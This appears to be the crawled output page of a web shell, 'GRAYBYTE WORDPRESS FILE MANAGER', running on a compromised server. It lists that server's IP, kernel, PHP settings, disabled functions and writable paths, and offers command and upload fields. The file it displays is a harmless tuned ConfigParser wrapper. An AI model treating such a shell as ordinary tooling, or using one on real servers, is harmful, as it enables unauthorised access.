GRAYBYTE WORDPRESS FILE MANAGER1560

Server IP : 149.255.58.128 / Your IP : 216.73.216.70
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib/python3.9/site-packages/tuned/utils/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib/python3.9/site-packages/tuned/utils//config_parser.py
# ConfigParser wrapper providing compatibility layer for python 2.7/3

try:
	python3 = True
	import configparser as cp
except ImportError:
	python3 = False
	import ConfigParser as cp
	from StringIO import StringIO
	import re

class Error(cp.Error):
	pass

if python3:

	class ConfigParser(cp.ConfigParser):
		pass

else:

	class ConfigParser(cp.ConfigParser):

		def __init__(self, delimiters=None, inline_comment_prefixes=None, strict=False, *args, **kwargs):
			delims = "".join(list(delimiters))
			# REs taken from the python-2.7 ConfigParser
			self.OPTCRE = re.compile(
				r'(?P<option>[^' + delims + r'\s][^' + delims + ']*)'
				r'\s*(?P<vi>[' + delims + r'])\s*'
				r'(?P<value>.*)$'
			)
			self.OPTCRE_NV = re.compile(
				r'(?P<option>[^' + delims + r'\s][^' + delims + ']*)'
				r'\s*(?:'
				r'(?P<vi>[' + delims + r'])\s*'
				r'(?P<value>.*))?$'
			)
			cp.ConfigParser.__init__(self, *args, **kwargs)
			self._inline_comment_prefixes = inline_comment_prefixes or []
			self._re = re.compile(r"\s+(%s).*" % ")|(".join(list(self._inline_comment_prefixes)))

		def read_string(self, string, source="<string>"):
			sfile = StringIO(string)
			self.read_file(sfile, source)

		def readfp(self, fp, filename=None):
			cp.ConfigParser.readfp(self, fp, filename)
			# remove inline comments
			all_sections = [self._defaults]
			all_sections.extend(self._sections.values())
			for options in all_sections:
				for name, val in options.items():
					options[name] = self._re.sub("", val)

		def read_file(self, f, source="<???>"):
			self.readfp(f, source)

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
December 04 2024 22:44:57
0 / root
0755
__pycache__
--
December 04 2024 22:44:57
0 / root
0755
__init__.py
0 KB
August 07 2024 20:09:40
0 / root
0644
commands.py
16.524 KB
December 02 2024 09:49:28
0 / root
0644
config_parser.py
1.53 KB
August 07 2024 20:09:40
0 / root
0644
global_config.py
3.368 KB
August 07 2024 20:09:40
0 / root
0644
nettool.py
5.568 KB
August 07 2024 20:09:40
0 / root
0644
plugin_loader.py
1.753 KB
August 07 2024 20:09:40
0 / root
0644
polkit.py
1.398 KB
August 07 2024 20:09:40
0 / root
0644
profile_recommender.py
5.806 KB
August 07 2024 20:09:40
0 / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF